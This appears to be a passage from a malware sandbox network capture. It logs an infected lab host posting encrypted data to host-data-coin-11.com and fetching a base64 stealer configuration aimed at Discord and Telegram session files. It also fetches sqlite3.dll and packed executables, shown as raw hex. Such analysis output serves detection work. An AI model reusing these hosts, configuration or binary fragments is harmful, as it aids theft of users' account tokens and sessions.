00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 04 da 00 00 00 50 03 00 00 50 00 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 24 18 00 00 00 30 04 00 00 04 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 e0 01 00 00 00 50 04 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 1c 22 00 00 00 60 04 00 00 1e 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 10 00 00 00 90 04 00 00 02 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 10 00 00 00 a0 04 00 00 02 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 a0 41 00 00 b0 04 00 00 00 00 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 c4 27 00 00 50 46 00 00 c4 27 00 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 ba 2f 43 31 f0 0e da 6b c3 5c d3 df d8 e3 d4 d7 fc df d0 d2 2d ff 55 bb b4 b8 d8 4e c5 e8 dd 16 c7 8b 8c fd bf 73 ca f0 88 d3 1a b7 d2 75 95 ff 93 19 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$LCyCyCyWzHyW\|yW}QyW~By}RyzVy\|iyWxPyCxypDyBy{ByRichCyPELw7a@RFP@ n*@ > ` PP@@ $0@ P@@ "`@B.idata@.rsrc@@.themidaA`.boot'PF'``w/C1k\-UNsu
Dec 1, 2021 09:14:18.963618994 CET	3775	IN	Data Raw: 33 10 ca 5a 03 45 ef b6 11 33 1c f5 2b ba 78 ab d4 7a e9 57 c7 40 bc 38 fd 98 9c fe dc 69 b6 7d e0 04 af f5 93 e2 b3 36 db 0f fd 64 23 e7 a4 b6 e4 df 8b 03 f4 86 3c fb c7 66 8f ab a3 39 df 42 93 4c 37 df 56 db b6 ea d2 6c c0 92 06 01 b8 ff d8 ff Data Ascii: 3ZE3+xzW@8i}6d#<f9BL7Vl&0b\|lm~TMM7`=B%77unsv^Ab@BX73N{5yG\M?Q`86}`mXFdNV_\|9[_
Dec 1, 2021 09:14:18.963639021 CET	3777	IN	Data Raw: 80 7e af 1e 84 af 98 ed c5 52 db a8 38 33 d9 d3 2d e3 e5 e3 db 62 72 59 9f 0a ab 5b 24 15 57 20 b2 37 17 0e 9f 4b 6c af 4a 65 87 3f ed fe 55 34 b8 3a 5f 11 b4 43 f1 fc 4d 09 14 ef 3c 47 b9 79 16 bc b9 4e 74 0f 6f 9b 11 fe ca e7 c2 f8 f3 0e b4 07 Data Ascii: ~R83-brY[$W 7KlJe?U4:_CM<GyNtoE/B~AgH]WG_s\[#njt $L$y1[:Ipi1\|/;Gm<z}%sPst1gaK!y* >=Cg9a
Dec 1, 2021 09:14:18.963654041 CET	3778	IN	Data Raw: 72 25 32 34 3e 3a 14 4a 8d ef f6 91 d5 7b 7b fa 2e 7e b0 02 0e f0 43 96 1b 4d f3 b1 66 29 8e 3a 18 9a bc ce 90 c5 c4 7e 2c 7c 3c b4 5b 67 bc d8 f4 3d 0e 5f 2c 28 9c 06 c9 ae 94 1d 73 fc bf f5 bf 7a 28 07 5c 57 e6 35 46 74 27 f5 27 69 05 7e 0e 4e Data Ascii: r%24>:J{{.~CMf):~,\|<[g=_,(sz(\W5Ft''i~Ngz-Ye4B7][%L6C7$&,`/xvP1[JdtytK4i\|rLzStdAu2u?'NVg"#[{MoVc,-UtX3V2h
Dec 1, 2021 09:14:18.963673115 CET	3779	IN	Data Raw: b4 f4 ea 65 fb 80 15 97 cf a6 e4 af 74 97 b7 83 d6 b6 8d f8 dd 12 65 45 b1 ab bf 7a 08 0c b1 5d 4d 7a 29 72 b5 f4 de 63 5b 62 18 42 27 f6 f6 35 90 9d 5b 83 a9 5e ff 60 f0 fa 5a 82 e1 55 d7 04 e9 f5 de 42 bb 76 e4 04 37 1c f0 07 e5 83 df 5f 0e dd Data Ascii: eteEz]Mz)rc[bB'5[^`ZUBv7__y"5eQqAD?oxZG'mM_%eiW0dYDuLi)^gJW\|uB@pHz \|q]8<[
Dec 1, 2021 09:14:18.963690996 CET	3781	IN	Data Raw: 90 ac ae 46 b2 39 c6 c5 1a 2e 38 d5 47 34 b0 a2 db f5 f6 b7 63 df 2b 82 9a e3 b4 57 69 18 f5 72 50 38 38 67 39 db 98 0b 66 0d b5 7d c7 20 b6 f7 3a c3 4a a3 a1 92 bd af 0e fb 75 eb a7 42 39 5d c1 59 61 e5 e7 a7 59 6f c7 f2 ae 0a 94 19 98 fe 56 d2 Data Ascii: F9.8G4c+WirP88g9f} :JuB9]YaYoV+(UYO4{ARFA[\tT=${\uI'=w/R`aV?hK`!Rc_@[7{tJ3c>^@5f\6sv$0F]`,BCE
Dec 1, 2021 09:14:18.963709116 CET	3782	IN	Data Raw: 9a 4a 98 64 cd 53 8a 2e ba 19 df d0 b1 99 46 ec 7e 70 f0 00 11 ff f4 58 02 11 13 02 24 35 d0 46 53 00 c4 5b a9 fd c5 a2 88 24 c8 2d b9 55 15 44 73 4b f9 40 7f 89 9a 68 7f 76 90 7d 3f ab c6 81 be bf 11 dc fc ba 12 df da 1a e3 35 23 7b 7e b8 fd 01 Data Ascii: JdS.F~pX$5FS[$-UDsK@hv}?5#{~(f85(;@Pz}m1#=3W%=aW3l?tmUwWLJX!d" m}wn+{h 1_'%+Qa"C&HN9(f
Dec 1, 2021 09:14:18.963726997 CET	3783	IN	Data Raw: 1a 26 d4 94 25 88 0d 8f e2 24 f2 89 fb c7 9d 07 59 49 e7 53 af 97 a9 5f fb b1 cd fe 46 49 3c 54 10 d1 6f 7b 17 33 6f 2e ef 39 3b 13 23 aa b8 ce ff eb ee ef 8f 26 38 36 4c bf ef fa c2 f4 f0 f6 fe ff 32 27 7f 69 0d cf ea 39 7a 06 ec 0f bb 12 15 3a Data Ascii: &%$YIS_FI<To{3o.9;#&86L2'i9z:.9;#`_c8c^:p{TZMw:@{0@s>48;HsXl`<9_Vssi7^}z8?%wx>I'< VQqQPo
Dec 1, 2021 09:14:18.963745117 CET	3785	IN	Data Raw: 22 07 36 eb f3 d4 ed a0 9d 72 d4 93 2e 16 ce 50 c0 53 03 a5 d3 3e 3f 60 f8 f0 1b 99 f6 4e 52 40 1d 80 78 bd 44 95 45 53 39 85 19 e9 37 27 5c 11 64 81 59 32 9c 83 f7 71 9b bd 23 df 8b 43 68 3f 40 36 d0 36 de e2 59 3a 3c 14 67 61 a7 5b 1e 51 d4 02 Data Ascii: "6r.PS>?`NR@xDES97'\dY2q#Ch?@66Y:<ga[Q!Y=(2^&/kpn\uz\|\|![n$]&EWz0;RoXm@c{8=AH5Bza^9\|2<!)D[m0^u@
Dec 1, 2021 09:14:18.963762045 CET	3786	IN	Data Raw: fa 7c b4 77 52 7f ec be b7 1f cd d4 53 05 48 04 7f a5 d7 16 7d 01 40 e5 cf 68 d3 19 21 ef 7e 36 fc 07 ee e4 8d c1 2c 45 15 e7 9d 38 21 59 17 1c 12 ff 25 77 24 20 b6 03 0a 75 cd aa 17 21 cd 86 52 05 30 eb 7c 62 30 d3 fb 28 f2 e3 e1 1a d5 ee 25 85 Data Ascii: \|wRSH}@h!~6,E8!Y%w$ u!R0\|b0(%@3=EuA9/{Go['y#8Q9zH6r["I4M[G4T;n;'XvsZ+ EvIJEp"<5SEmq0\|:'VOvp%^
Dec 1, 2021 09:14:19.021267891 CET	3788	IN	Data Raw: bd 32 c5 8b bd 3d db 5b 31 07 32 3c 71 e8 3f 59 2a 53 ed 10 55 63 2b 75 3c 36 a3 bb 86 72 47 46 d0 ce a7 e8 53 a9 a4 0e 61 38 11 2a a8 b5 cf 6f 28 77 f5 c4 17 35 73 81 0d 38 38 6e 1e 71 35 11 c4 9b c5 61 52 71 f4 7f 7a d7 2f 20 bf 16 31 ec d5 e3 Data Ascii: 2=[12<q?YSUc+u<6rGFSa8o(w5s88nq5aRqz/ 1JY$e<W[FZR8q[\|k>?rQk2?{kXINuXt7<6nqKU\|amu:+EW:<f=uZvkQdpu*x~uv`<zWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49759	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:56.028903961 CET	1082	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sqdlx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: host-data-coin-11.com
Dec 1, 2021 09:13:56.028923988 CET	1083	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 48 c6 ad 01 Data Ascii: nIF}0?7XknwmDu$f]dH;{{gMIxM Jg/c1Y]<3Ijddrj\FQL7,Vj&_7%wme8A3c!0E?j^yDH]Wc^a3
Dec 1, 2021 09:13:56.128304005 CET	1083	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49796	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:19.923051119 CET	5684	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive
Dec 1, 2021 09:14:20.026211023 CET	5843	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 08:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49797	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:20.137711048 CET	6082	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=t42nernt19g8nsbjut69kb7u9v
Dec 1, 2021 09:14:20.224169970 CET	6321	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 08:14:20 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Thu, 21 Oct 2021 11:48:30 GMT ETag: "9d9d8-5cedb79317f80" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113
Dec 1, 2021 09:14:20.224191904 CET	6323	IN	Data Raw: 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z@B/124t@B
Dec 1, 2021 09:14:20.224328041 CET	6331	IN	Data Raw: 04 c6 41 28 00 c6 41 29 00 c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e Data Ascii: A(A)A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]
Dec 1, 2021 09:14:20.224349976 CET	6333	IN	Data Raw: a1 18 a2 97 60 89 04 24 89 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 Data Ascii: `$U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8
Dec 1, 2021 09:14:20.224371910 CET	6334	IN	Data Raw: 40 a2 97 60 89 5d d8 89 da c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 Data Ascii: @`]UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u
Dec 1, 2021 09:14:20.224395990 CET	6335	IN	Data Raw: 75 e0 89 45 cc 80 fa 2e 0f 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f Data Ascii: uE.7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]s
Dec 1, 2021 09:14:20.224443913 CET	6338	IN	Data Raw: c4 44 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a Data Ascii: D[^_UWVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtU
Dec 1, 2021 09:14:20.224468946 CET	6340	IN	Data Raw: 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc Data Ascii: tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1ff
Dec 1, 2021 09:14:20.224490881 CET	6341	IN	Data Raw: 00 00 00 00 5b c9 c3 55 89 e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 Data Ascii: [UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($
Dec 1, 2021 09:14:20.224514008 CET	6342	IN	Data Raw: 83 78 0c 00 74 30 8b 18 8b 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df Data Ascii: xt0$sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}
Dec 1, 2021 09:14:20.283194065 CET	6470	IN	Data Raw: df ff ff c7 43 5c 00 00 00 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 Data Ascii: C\C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49798	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:26.490838051 CET	7313	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pborgy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: host-data-coin-11.com
Dec 1, 2021 09:14:26.494131088 CET	7313	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 84 66 5d 02 c9 a1 c1 64 16 a7 de 67 Data Ascii: nIF}0?7XknwmDu$f]dg&vi<sgCTvoI{4e*P(N`SmOl,4y,C<h[L-C@O#)!xzz:M4Pf#rZw
Dec 1, 2021 09:14:26.590754986 CET	7314	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not 